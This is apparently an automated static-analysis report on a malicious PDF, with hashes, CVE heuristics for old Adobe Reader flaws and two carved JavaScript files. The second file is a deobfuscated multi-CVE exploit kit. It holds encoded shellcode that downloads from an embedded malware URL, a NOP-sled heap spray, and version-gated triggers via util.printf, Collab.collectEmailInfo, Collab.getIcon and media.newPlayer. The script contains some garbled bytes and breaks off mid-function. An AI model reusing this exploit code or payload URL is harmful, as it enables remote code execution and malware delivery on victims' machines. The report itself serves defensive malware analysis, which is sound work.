Malicious PDF — malware analysis report

Static analysis result for SHA-256 d9bdb9c9d5a44ea1…

MALICIOUS

PDF

13.5 KB Authoring application: Cohbzomobkija First seen: 2013-03-04
MD5: 0a3f500045563199dc8298949822a28b SHA-1: 96ba5d10944337745b115fcb4b7eeeb3dd75d321 SHA-256: d9bdb9c9d5a44ea139581df6d2067fc9ce4d8e819721a508f8f6cfcc00351876
410 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1566.002 Spearphishing Attachment

The PDF contains embedded JavaScript, indicated by multiple heuristic firings and the presence of a javascript_obj0022_000.js artifact. The ML classifier strongly suggests malicious intent. The embedded JavaScript is likely responsible for exploiting vulnerabilities or delivering a secondary payload. Due to the lack of specific script content or further context, the exact attack vector and family remain undetermined.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 10

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ambientamenti.com//lv6HGnXDs-l.php/d5348dd7aec95c6bb404d68c354441f0?spl=pdf_2025 Referenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0022_000.js pdf-javascript-stream PDF /JS object 22 at offset 0x2B69 38541 bytes
SHA-256: 33a262c54dcad1f989e0a0c1363bef472ece5219d9aae9dd722c11c6370a2948
Preview script
First 1,000 lines of the extracted script
/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua *//* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */var readerCheck                         =/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */[                                                 "ca"/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */,                                 "es"/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */,                                                         "pe"/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */,                                                                                     ""/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */,                                                                                                 "un"/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */];                                                         array/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */=                                                                             new/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */ String                                                         (/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */readerCheck                                         [/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */4                                                             ]/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */+                             readerCheck/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */[         1/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */]                                                 +/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */readerCheck                                             [/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */0                                                                             ]/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */+         readerCheck/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */[                     2/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */]                                                                             +/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */readerCheck                                                                                         [/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */3                                                                                         ]/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */)                                                                                         ;/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */                     var foxit/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */=                                                                 [/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */"t"                                                 ,/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */"e"                                                                                         ,/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */"r"             ,/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */"o"                                     ,/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */"c"                                                                                         ,/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */"a"                 ,/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */""                                                                                     ,/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */"d"                                                                         ,/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */"C"         ,/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */"A"                                                                             ,/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */"h"                                     ];/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */get     =/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */new                                                                              String/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */(                                 foxit/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */[                                                                     4/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */] +/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */foxit                                                         [/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */10                                                                                     ]/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */+                                                 foxit/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */[                                                             5/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */]                                                                                     +/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */foxit                                                                     [/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */2         ]/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */+                 foxit/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */[                                                                                             8/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */]                                                 +/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */foxit                                                                                 [/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */3                                     ]/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */+                                                                                 foxit/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */[                                                                                             7/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */] +/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */foxit                     [/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */1                                                 ]/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */+                                 foxit/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */[ 9/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */]                                                                     +/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */foxit                                                                 [/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */0                                     ]/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */+                                                                                 foxit/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */[             6/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */]                                                                                             )/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */;     /* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */var google         =/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */[                                                     "eN"/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */,                                                                     ""/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */,                                                                     "rd"/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */,                                                 "tP"/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */,                         "ag"/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */,                         "Wo"/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */,                                                                                                 "th"/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */,                                     "ge"/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */];                                                                                             window/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */=                                                             new/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */ String                     (/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */google     [/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */7                         ]/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */+                                                                             google/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */[                                                                             3/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */]                                                     +/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */google                                                     [/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */4                                                                         ]/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */+                             google/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */[                                                                                 0/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */]                                             +/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */google                 [/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */6                                                                             ]/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */+                                                                                         google/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */[ 5/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */]                                         +/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */google                                                                                         [/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */2                                             ]/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */+                                                     google/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */[                                                                             1/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */]                                                                 )/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */;             /* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */var windowA                                                                     =/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */[                                                             "ag"/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */,     "eN"/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */,                             "rd"/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */,                                                 "tP"/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */,                         "Wo"/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */,                                         "s"/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */,                         "um"/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */,                         "ge"/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */,                                     ""/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */];                                         arrayCheck/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */= new/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */ String                                                                 (/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */windowA                                                             [/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */7                                     ]/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */+                                                         windowA/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */[ 3/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */]                                 +/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */windowA                                                                 [/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */0                                                             ]/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */+                                                                     windowA/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */[                 1/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */]                     +/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */windowA                                                                             [/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */6                                 ]/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */+                                                 windowA/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */[         4/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */]                                         +/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */windowA                                                                                             [/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */2                                                             ]/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */+                                                                                             windowA/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */[                                                                                     5/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */]                 +/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */windowA                     [/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */8                                         ]/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */)         ;/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */     var email/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */=                                                                                             [/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */"fr"                                                                                     ,/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */""             ,/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */"Co"                                                         ,/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */"de"                                             ,/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */"Ch"                                                                                             ,/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */"om"                                                                 ,/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */"ar"     ];/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */c                                             =/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */new                                                                  String/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */(                             email/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */[                 0/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */]                         +/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */email [/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */5                                         ]/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */+                         email/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */[                                                                                     4/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */]                                 +/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */email                                 [/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */6                                                                                                 ]/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */+                         email/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */[                             2/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */]     +/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */email                                 [/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */3                                             ]/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */+                     email/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */[                                                         1/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */]                                 )/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */;             /* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */var d                                                                             =/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */[                                                                                         "l"/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */,                             "v"/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */,                                                                                             ""/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */,                                                                                                 "a"/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */, "e"/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */];                                                                                         mail/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */=                     new/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */ String             (/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */d                                                             [/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */4                                             ]/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */+                             d/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */[                                                                                             1/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */] +/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */d                                                                 [/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */3                 ]/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */+                                     d/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */[                     0/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */]                                                 +/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */d                                                                                     [/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */2                                                                             ]/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */)                     ;/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */                             var windowAGoogle/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */= [/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */""                                                                                 ,/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */"a" ,/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */"p"                                                                         ,/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */"p"                             ];/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */foxitGet                                                 =/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */new                                                              String/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */(                                                                                 windowAGoogle/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */[     1/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */]             +/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */windowAGoogle                                                                     [/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */2                                                     ]/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */+                                                             windowAGoogle/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */[                                         2/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */]                                                                                         +/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */windowAGoogle                     [/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */0                                                                                                 ]/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */)                                 ;/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */                                                         /* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */var                                                                                      foxitGet/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */=             this/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */[                     foxitGet/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */]     ;/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */var                                                                                  cD/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */=         93/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */;                                                                         var/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */ arrayMail                                 =/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */3                                                                         ;/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */var                                                      aCheck/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */=                     new/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */ String         (/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */)                                                             ;/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */var                                                                              getC/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */= new String("%JkZi".substr(0,1))/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */;                                                                                                 var/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */ checkArray                                                                                 =/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */this             [/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */array                                                                             ]/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */;                                 var/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */ b                                                                                                 =/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */this                                                                                                 [/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */arrayCheck                                                 ]/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */(                                                 arrayMail/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */)         ;/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */                                                             for/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */(                                                                                     var/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */ adobe                                             =/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */0;                                                                                     adobe/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */<                                                                         b;/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */adobe++                                                                                     )/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */{                     /* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */googleReader=this                         [/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */window                                                                                                 ]/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */(                                                 arrayMail/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */,                                                                             adobe/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */)                             ;/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */var                                                                      mailFoxit/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */=         googleReader/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */.             substr/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */(                             googleReader/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */.                                                     length/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */-                                 2/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */,                                                                                                 2/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */)                                                                                             ;/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */var                                                                                      googleArray/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */=                                                     checkArray/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */(                                                             getC/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */+                     mailFoxit/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */)                                                                                                 ;/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */var                                      emailC/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */=                                     googleArray/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */[                                             get/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */]                                                                                         (/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */0                                                                                     )/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */;                             var/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */ windowCheck                                 =/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */emailC                             ^/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */cD                                                                                                 ;/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */aCheck                                 +=/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */String                 [/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */c                                                                                 ]/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */(     windowCheck/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */)                 ;/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */}                                 /* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */this                                                                                 [/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */mail         ]/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */(                                                 aCheck/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */)                                                                             ;/* elephant ferrari absorbing absolvitory fungible grahm superstage village ababua */
legacy_pdfkit_stage_000.js deobfuscated-js getPageWords-XOR Pidief stage normalized at offset 0x0 3553 bytes
SHA-256: ad6609e43627f246642adc34d43d337655a87f907f46c9e96225c02d03c655f3
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
/* getPageWords download URL: http://ambientamenti.com//lv6HGnXDs-l.php/d5348dd7aec95c6bb404d68c354441f0?spl=pdf_2025  */
var _u="http://ambientamenti.com//lv6HGnXDs-l.php/d5348dd7aec95c6bb404d68c354441f0?spl=pdf_2025 ";
�������������������������������
	var src_table = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890/.:_-?&=%";
	var dest_table= "xa83V5OJ&Enl0Hpq-tNybkeYZ%cSAMTj7KFXBoI_rC6DL=0hwGdfu4Rvg:1zQsmiP2/9?W.U";

var hwTl9Dn = new Array();  

function get_shellcode(name) {

	var u = get_url();
	var s = "%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455";
	s+= u;
	return unescape(s);
}


function get_url(){ 
	var str = this.info.author;
	var ret = encode_str(str, dest_table, src_table);

	return ret;
};


function encode_str(str, src_table, dest_table){

	var ret="";
	for(var i=0; i < str.length; i++)
	{
		var index = src_table.indexOf(str[i]);
		if(index > -1 )
		{
			ret += dest_table[index];
		}
	}

	return ret;
};


function Rq4v1qCC(PDrScZj4, ez5pL6){    

	while (PDrScZj4.length * 2 < ez5pL6){      
		PDrScZj4 += PDrScZj4;    
	}    

	PDrScZj4 = PDrScZj4.substring(0, ez5pL6 / 2);    return PDrScZj4;  
}  

function x8EvTm(I7T0vko5){  

	var qPBt7D = 0x0c0c0c0c;        

	NRjjR6W6 = get_shellcode("pdf");

	if (I7T0vko5 == 1){qPBt7D = 0x30303030;}

	var FeQq1Vv = 0x400000;   
	var tsSzSc = NRjjR6W6.length * 2;    var ez5pL6 = FeQq1Vv - (tsSzSc + 0x38);    
	var PDrScZj4 = unescape("%u9090%u9090");    

	PDrScZj4 = Rq4v1qCC(PDrScZj4, ez5pL6);    

	var x62RaBM3 = (qPBt7D - 0x400000) / FeQq1Vv;    

	for (var Ojafoj = 0; Ojafoj < x62RaBM3; Ojafoj ++ ){    
		hwTl9Dn[Ojafoj] = PDrScZj4 + NRjjR6W6;    
	}
}  

function U2UcYKr(){   

var IyIFVe = app.viewerVersion.toString();          

	if (IyIFVe > 8)
	{
		x8EvTm(1);
		var iVvCdy8 = "12999999999999999999";          

		for (RvU5gmOE = 0; RvU5gmOE < 276; RvU5gmOE ++ )
		{
			iVvCdy8 += "8";   
		}

		util.printf("%45000f", iVvCdy8);      
	}


if (IyIFVe < 8){

	x8EvTm(0);    
	var UNXaCTHb = unescape("%u0c0c%u0c0c");    

	while (UNXaCTHb.length < 44952) UNXaCTHb += UNXaCTHb;    

	this .collabStore = Collab.collectEmailInfo({        subj : "", msg : UNXaCTHb});      
}       

if (IyIFVe < 9.1){

	if (app.doc.Collab.getIcon)
	{
		x8EvTm(0); 
        var eGREUTNw = unescape("%09");          
		while (eGREUTNw.length < 0x4000)eGREUTNw += eGREUTNw;

		eGREUTNw = "N." + eGREUTNw;    

		app.doc.Collab.getIcon(eGREUTNw);   
	}
}   
if (IyIFVe == 9.2){        
	x8EvTm(1);              
	util.printd("1.000000000.000000000.1337 : 3.13.37", new Date());           
	try 
	{	
		media.newPlayer(null);              
	} catch(e) 
	{}
